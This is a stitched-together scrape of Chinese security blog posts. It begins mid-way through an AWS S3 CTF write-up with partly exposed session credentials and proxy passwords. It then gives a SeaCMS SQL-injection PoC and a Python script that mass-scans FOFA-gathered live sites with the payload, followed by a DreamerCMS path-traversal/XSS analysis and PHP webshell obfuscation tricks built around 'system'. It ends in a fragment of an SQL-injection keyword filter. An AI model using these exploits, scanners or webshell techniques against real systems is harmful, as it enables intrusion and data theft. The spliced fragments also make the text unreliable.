"IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限,我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限,不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC,不过我们可以验证一下 但是刚刚都读取成功了,大概率是在的 没办法,只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容: 一个 Amazon S3 存储桶 对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名) HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等) 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息,查看权限 列取文件位置 vpc 限制,来联想 proxy 403,考虑预签名 URL 授予 行云流水
浅谈代码审计+漏洞批量一把梭哈思路
前言 最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。 工具介绍 项目地址 https://github.com/W01fh4cker/Serein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。 具体使用方法下面会介绍 漏洞样本 本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的 这里给出审计的过程 /js/player/dmplayer/dmku/index.php 未授权 sql 注入 这个相比于上一个来说是危害更大,因为不需要登录 admin 用户 确实是 sleep 了,说明漏洞存在,我们看到代码 if ($_GET['ac'] == "edit") {    $cid = $_POST['cid'] ?: showmessage(-1, null);    $data = $d->编辑弹幕($cid) ?:  succeedmsg(0, '完成');    exit; } 我们跟进编辑弹幕方法 一路来到 public static function 编辑_弹幕($cid)   {        try {            global $_config;            $text = $_POST['text'];            $color = $_POST['color'];            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);                        $sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";            $result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";            $conn->query($sql);            $conn->query($result);       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤 所以导致 sql 注入 还有我们看到当 ac=del,type=list 的时候 else if ($_GET['ac'] == "del") {        $id = $_GET['id'] ?: succeedmsg(-1, null);        $type = $_GET['type'] ?: succeedmsg(-1, null);        $data = $d->删除弹幕($id) ?: succeedmsg(0, []);        succeedmsg(23, true); 进入删除弹幕($id) public function 删除弹幕($id)   {        //sql::插入_弹幕($data);        sql::删除_弹幕数据($id);   } 进入 sql::删除_弹幕数据($id); public static function 删除_弹幕数据($id)   {        try {            global $_config;            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);            $conn->set_charset('utf8');            if ($_GET['type'] == "list") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";                $conn->query($sql);                $conn->query($result);           } else if ($_GET['type'] == "report") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $conn->query($sql);           }       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询 漏洞验证 POC GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1 Host: seacms:8181 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM Connection: keep-alive 效果如图,可以发现确实延迟了 6 秒 工具利用过程 首先就是看工具的逻辑是如何添加漏洞的 首先看主文件 代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下 需要你进入工具的时候配置邮箱和 key def fofa_saveit_first():    email = fofa_text1.get()    key = fofa_text2.get()    with open("fofa配置.conf","a+") as f:        f.write(f"[data]\nemail={email}\nkey={key}")        f.close()    showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")    text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")    text3.see(END)    fofa_info.destroy() def fofa_saveit_twice():    global email_r,key_r    if not os.path.exists("fofa配置.conf"):        fofa_saveit_first()    else:        email_r = getFofaConfig("data", "email")        key_r = getFofaConfig("data", "key") def fofa_info():    global fofa_info,fofa_text1,fofa_text2,fofa_text3    fofa_info = tk.Tk()    fofa_info.title("fofa配置")    fofa_info.geometry('230x100')    fofa_info.resizable(0, 0)    fofa_info.iconbitmap('logo.ico')    fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")    fofa_text1 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_email)    fofa_text1.grid(row=0, column=1, padx=5, pady=5)    fofa_key = tk.StringVar(fofa_info,value="填email对应的key")    fofa_text2 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_key)    fofa_text2.grid(row=1, column=1, padx=5, pady=5)    button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, bootstyle="info")    button1.grid(row=2, column=1, padx=5, pady=5)    fofa_info.mainloop() 使用 fofa 的处理流程 后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能 然后下面是脚本调用逻辑 因为一个漏洞是需要你自己写一个 python 脚本的 然后加入你自己自定义的漏洞是在 这个逻辑应该很好理解,比如我的就是 button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,bootstyle="primary") button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5) 然后就是写对应的利用脚本了 因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的 工具自带了许许多多的利用脚本,我们看一下如何仿写 比如 zabbix_sql.py import requests import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * """ Zabbix ‘popup.php’SQL注入漏洞 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017 Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。 """ def zabbix_sql_exp(url):    poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""    target_url = url + poc    status_str = ['Administrator', 'User']    try:        res = requests.get(url, Verify=False,timeout=3)        if res.status_code == 200:            target_url_payload = f"{target_url}"            res = requests.get(url=target_url_payload,Verify=False)            if res.status_code == 200:                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")            else:                target_url = url + '/zabbix/' + poc                res = requests.get(url=target_url,verify=False)                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")        else:            zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")            zabbix_sql.see(END)    except Exception as err:        zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")        zabbix_sql.see(END) def get_zabbix_addr():    with open("url.txt","r") as f:        for address in f.readlines():            address = address.strip()            yield address def zabbix_sql_gui():    zabbix_sql_poc = tk.Tk()    zabbix_sql_poc.geometry("910x450")    zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")    zabbix_sql_poc.resizable(0, 0)    zabbix_sql_poc.iconbitmap('logo.ico')    global zabbix_sql    zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)    zabbix_sql.grid(row=0, column=0, padx=10, pady=10)    zabbix_sql.see(END)    addrs = get_zabbix_addr()    max_thread_num = 30    executor = ThreadPoolExecutor(max_workers=max_thread_num)    for addr in addrs:        future = executor.submit(zabbix_sql_exp, addr)    zabbix_sql_poc.mainloop() 大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块 因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下 import requests import time import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * # 执行SQL注入检测的函数 def sql_injection_exp(url):    target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"    data = {        "cid": "(select(1)from(select(sleep(6)))x)",        "text": "1",        "color": "1"   }    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded"   }    start_time = time.time()    try:        response = requests.post(target, data=data, headers=headers, timeout=10)        elapsed_time = time.time() - start_time        if elapsed_time > 5:            output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)            with open("找到sql注入的url.txt", 'a') as f:                f.write(url + "\n")        else:            output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)    except requests.exceptions.RequestException as err:        output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")        output_text.see(END) # 获取URL地址的生成器 def get_urls():    with open('url.txt', 'r') as file:        for line in file.readlines():            yield line.strip() # GUI界面 def sql_injection_gui():    root = tk.Tk()    root.geometry("910x450")    root.title("seacms前台sql注入")    root.resizable(0, 0)    global output_text    output_text = scrolledtext.ScrolledText(root, width=123, height=25)    output_text.grid(row=0, column=0, padx=10, pady=10)    urls = get_urls()    max_threads = 30  # 并发线程数    executor = ThreadPoolExecutor(max_workers=max_threads)    for url in urls:        future = executor.submit(sql_injection_exp, url)    root.mainloop() 然后添加好模块 可以看见是添加成功了的 实战演示 首先就是搜集 url 了,配置好了之后只需要 因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了 然后来到你需要利用的板块 利用的效果 然后我们可以随便找个网址验证一下 进入网址效果如下,说明网址还在正常使用的 然后测试漏洞 可以看见漏洞是存在的 然后就是查权重了 这个可以一把梭哈的
精准定位文件包含漏洞:代码审计中的实战思维
前言 最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。 环境搭建 下载https://gitee.com/iteachyou/dreamer_cms 然后各种配置都可以看到 JDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA DB:Mysql 5.7,Windows配置安装Mysql5.7,请参考: https://www.iteachyou.cc/article/a1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考: https://www.iteachyou.cc/article/4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接 漏洞寻找过程 进入后台后发现可以编辑模板文件 然后这时候我们就需要注意常见的可以触发漏洞的点了 首先就是 xss 加入我们的 xss 代码 然后访问首页 成功 xss,当然我们真实使用的话可以利用我们的 xss 平台 这里推荐与一个 https://xssaq.com/点击配置代码后会有很多 payload,随便复制一个 这里我们简单弹个 cookie xss 的话还是国外使用比较多 当然这样并不能达到我们 getshell 的目的 漏洞深入利用 这里就不得不提到我们的一些标签了 一般常见的我们可以尝试 include 标签 这里我们先复现一下 这个标签是 cms 的专属的标签 然后我们根据目录关系创建一个文件尝试一下 然后我们访问首页 可以看到成功了 调试分析 我们调试分析一下,抓个包看看路由 定位到代码 @Log(operType = OperatorType.UPDATE, module = "模板管理", content = "修改模板") @PostMapping("save") @RequiresPermissions("5n6ta53y") public String save(TemplateVo template) throws IOException, CmsException { String fileName = template.getPath() + File.separator + template.getFile(); File templateFile = new File(fileName); /** * 查询当前模版目录,判断是否为模版目录,如不是,则报错 */ Theme currentTheme = themeService.getCurrentTheme(); String resourceDir = fileConfiguration.getResourceDir(); String themePath = resourceDir + File.separator + "templates" + File.separator + currentTheme.getThemePath() + File.separator; themePath = themePath.replaceAll("\\*", "/"); File themeDir = new File(themePath); // 检查当前编辑文件是否有权限 if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) { throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), "您没有操作权限!"); } if(!templateFile.exists()) { throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), "模板文件不存在!"); } String filePath = template.getPath() + File.separator + template.getFile(); filePath = filePath.replaceAll("\\*", "/"); File file = new File(filePath); FileUtils.writeStringToFile(file, template.getContent(), "UTF-8"); return "redirect:/admin/templates/toIndex"; } 这里就是就简单的写一下模板,然后重点关注解析的部分 这里有各种各样的标签 看到我们的 Include 标签 @Tag(beginTag="{dreamer-cms:include /}",endTag="{/dreamer-cms:include}",regexp="(\\{dreamer-cms:include[ \\t]+.*/\\})|(\\{dreamer-cms:include[ \\t]+.*\\}\\{/dreamer-cms:include\\})", attributes={ @Attribute(name = "file",regex = "[ \t]+file=[\"\'].*?[\"\']"), }) 格式 我们看一下解析过程 首先是解析我们的模板 识别我们的模板内容后开始解析各种标签,然后是我们的 include public String parse(String html) { Tag annotations = IncludeTag.class.getAnnotation(Tag.class); Attribute[] attributes = annotations.attributes(); List<String> all = RegexUtil.parseAll(html, annotations.regexp(), 0); if(StringUtil.isBlank(all)) { return html; } String newHtml = html; String resourceDir = fileConfiguration.getResourceDir() + "templates/"; Theme currentTheme = themeService.getCurrentTheme(); String templatePath = currentTheme.getThemePath() + "/"; String basePath = resourceDir + templatePath; for (int i = 0; i < all.size(); i++) { Map<String,Object> entity = new HashMap<String,Object>(); String includeTag = all.get(i); for (Attribute attribute : attributes) { String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0); if(StringUtil.isBlank(condition)) { continue; } String key = condition.split("=")[0]; String value = condition.split("=")[1]; key = key.trim(); value = value.replace("\"", "").replace("\'", ""); entity.put(key, value); } if(entity.keySet() != null && entity.keySet().size() > 0) { String path = basePath + entity.get("file").toString(); File includeFile = new File(path); String includeHtml; try { includeHtml = FileUtils.readFileToString(includeFile, "UTF-8"); newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml); } catch (IOException e) { e.printStackTrace(); } } } return newHtml; } 可以目录穿越读取我们任意文件的内容
浅谈 webshell 构造之如何获取恶意函数
前言 这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。 get_defined_functions (PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8) get_defined_functions — 返回所有已定义函数的数组 我们主要是可以通过这个获取危险的函数 比如 比如 当然还有许多,如何执行命令就很简单了 代码如下 <?php $a=(get_defined_functions()); $a["internal"][516]("whoami"); ?> get_defined_constants get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值 那获取的常量是不是可以为我们所用呢? 可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗 代码如下 <?php $a=get_defined_constants(); foreach ($a as $key => $value){    if (substr($key,0,7)=="INI_SYS"){        $x= strtolower(substr($key,4,6));        $x("whoami");   } } ?> 自定义方法 通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } 现在还没有看出端倪,但是当你运行这串代码的时候 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } echo fun(451232); 抛出异常截取字符串 这个手法也是比较特殊的 我们可以随便找一个异常类 比如 ParseError,然后再加上我们刚刚的自定义方法 ParseError 当解析 PHP 代码时发生错误时抛出,比如当 https://www.php.net/manual/zh/function.eval.php 被调用出错时。 它的一些属性和方法 /* 继承的属性 */ protected string $message = ""; private string $string = ""; protected int $code; protected string $file = ""; protected int $line; private array $trace = []; private ?Throwable $previous = null; /* 继承的方法 */ public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null) final public Error::getMessage(): string final public Error::getPrevious(): ?Throwable final public Error::getCode(): int final public Error::getFile(): string final public Error::getLine(): int final public Error::getTrace(): array final public Error::getTraceAsString(): string public Error::__toString(): string private Error::__clone(): void 可以看到都是基础父类的 Exception::__construct — 异常构造函数 Exception::getMessage — 获取异常消息内容 Exception::getPrevious — 返回前一个 Throwable Exception::getCode — 获取异常代码 Exception::getFile — 创建异常时的程序文件名称 Exception::getLine — 获取创建的异常所在文件中的行号 Exception::getTrace — 获取异常追踪信息 Exception::getTraceAsString — 获取字符串类型的异常追踪信息 Exception::__toString — 将异常对象转换为字符串 Exception::__clone — 异常克隆 根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗 代码如下 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } $a = new ParseError(fun(451232)); echo $a->getMessage(); DirectoryIterator The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories. 它的一些方法 https://www.php.net/manual/zh/directoryiterator.construct.php — Constructs a new directory iterator from a path https://www.php.net/manual/zh/directoryiterator.current.php — Return the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getbasename.php — Get base name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getextension.php — Gets the file extension https://www.php.net/manual/zh/directoryiterator.getfilename.php — Return file name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..' https://www.php.net/manual/zh/directoryiterator.key.php — Return the key for the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.next.php — Move forward to next DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.rewind.php — Rewind the DirectoryIterator back to the start https://www.php.net/manual/zh/directoryiterator.seek.php — Seek to a DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.tostring.php — Get file name as a string https://www.php.net/manual/zh/directoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file 其中大概看一下,其实 DirectoryIterator::getFilename 就有利用的可能 DirectoryIterator::getFilename — Return file name of current DirectoryIterator item 看一下官方的例子 <?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {   echo $fileinfo->getFilename() . "\n";}?> 以上示例的输出类似于: . .. apple.jpg banana.jpg index.php pear.jpg 那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗 代码如下 <?php // 创建FilesystemIterator实例 $iterator = new FilesystemIterator(dirname(__FILE__)); foreach ($iterator as $item) {    // 输出文件和目录的属性    echo $item->getFilename() . "\n"; } ?> 运行结果 确实是获取到了 pack 这个函数很有意思的 pack — 将数据打包成二进制字符串 可以构造出字符串 pack(https://www.php.net/manual/zh/language.types.string.php $format, https://www.php.net/manual/zh/language.types.mixed.php ...$values): https://www.php.net/manual/zh/language.types.string.php 将输入参数打包成 format 格式的二进制字符串。 这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。 注意,有符号值和无符号值之间的区别只影响函数 https://www.php.net/manual/zh/function.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。 看了一下大概,再看下官方的例子 这是一些它的格式 示例 #1 *pack()* 范例 <?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?> 输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。 那我们按照构造出 system 的思路 <?php echo pack("C6", 115, 121, 115, 116, 101, 109); echo pack("H*", "73797374656d"); ?> 这两个结果都是 system "C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。 传入的参数 115, 121, 115, 116, 101, 109 是 ASCII 码值。 115 对应的字符是 s 121 对应的字符是 y 115 对应的字符是 s 116 对应的字符是 t 101 对应的字符是 e 109 对应的字符是 m 构造出来的就是 system "H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。 73797374656d 是一个十六进制表示的字符串。将其转换为 ASCII 字符: 73 是 s 79 是 y 73 是 s 74 是 t 65 是 e 6d 是 m 构造出来的也是system
)!== FALSE)\r\n       {\r\n            $fail = TRUE;\r\n            if(preg_match(\"#^create table#i\",$clean)) $fail = FALSE;\r\n            $error=\"unusual character\";\r\n       }\r\n \r\n        \u002F\u002F老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它\r\n        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"union detect\";\r\n       }\r\n \r\n        \u002F\u002F发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们\r\n        elseif (strpos($clean, '\u002F*') \u003E 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"comment detect\";\r\n       }\r\n \r\n        \u002F\u002F这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库\r\n        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"slown down detect\";\r\n       }\r\n        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"slown down detect\";\r\n       }\r\n        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"file fun detect\";\r\n       }\r\n        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\\s+outfile($|[^[a-z])~s', $clean) != 0)\r\n       